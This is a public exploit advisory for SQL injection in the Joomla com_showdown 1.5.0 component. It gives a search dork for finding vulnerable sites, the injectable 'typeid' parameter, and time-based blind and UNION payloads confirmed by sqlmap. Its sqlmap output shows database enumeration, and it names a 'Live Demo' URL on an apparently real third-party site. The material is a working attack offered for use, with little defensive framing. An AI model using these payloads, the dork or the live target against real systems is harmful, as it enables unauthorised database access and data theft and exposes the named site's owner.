Joomla Showdown 1.5.0 SQL Injection

`######################  
# Exploit Title : Joomla com_showdown SQL injection Vulnerability  
# Exploit Author : xBADGIRL21  
# Dork : inurl:index.php?option=com_showdown  
# version : 1.5.0  
# Tested on: [ Windows 7 ]  
# skype:xbadgirl21  
# Date: 2016/07/24  
# video Proof : https://youtu.be/IglNYsDcV3g  
######################  
# [+] DESCRIPTION :  
######################  
# [+] an SQL injection been Detected in this Joomla components showdown  
after you add ['] or ["] to  
# [+] Vuln Target Parameter you will get error like :  
# [+] You have an error in your SQL syntax; check the manual that  
corresponds to your MySQL or  
# [+] You Will Notice a change in the Frontpage of the target .  
######################  
# [+] Poc :  
######################  
# [typeid] Get Parameter Vulnerable To SQLi  
# http://127.0.0.1/index.php?option=com_showdown&typeid=999999 [INJECT HERE]  
######################  
# [+] SQLmap PoC:  
######################  
# GET parameter 'typeid' is vulnerable. Do you want to keep testing the  
others (if any)? [y/N]  
#  
# Parameter: typeid (GET)  
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: option=com_showdown&typeid=11 AND SLEEP(5)  
#  
# Type: UNION query  
# Title: Generic UNION query (NULL) - 6 columns  
# Payload: option=com_showdown&typeid=11 UNION ALL SELECT  
NULL,NULL,NULL,NULL,CONCAT(0x71627a6b71,0x4d7254764c576b495a504e73726d636f6a65695971624f6f64424e6870  
# 43554447614a527451564c,0x71706a7171),NULL-- LZga  
# ---  
# [12:59:46] [INFO] the back-end DBMS is MySQL  
# web server operating system: Linux Debian 6.0 (squeeze)  
# web application technology: PHP 5.2.6, Apache 2.2.16  
# back-end DBMS: MySQL >= 5.0.12  
# [12:59:46] [INFO] fetching database names  
# available databases [3]:  
######################  
# [+] Live Demo :  
######################  
# http://www.circuse.eu/index.php?option=com_showdown&typeid=11  
######################  
# Discovered by : xBADGIRL21  
# Greetz : All Mauritanien Hackers - NoWhere  
######################  
`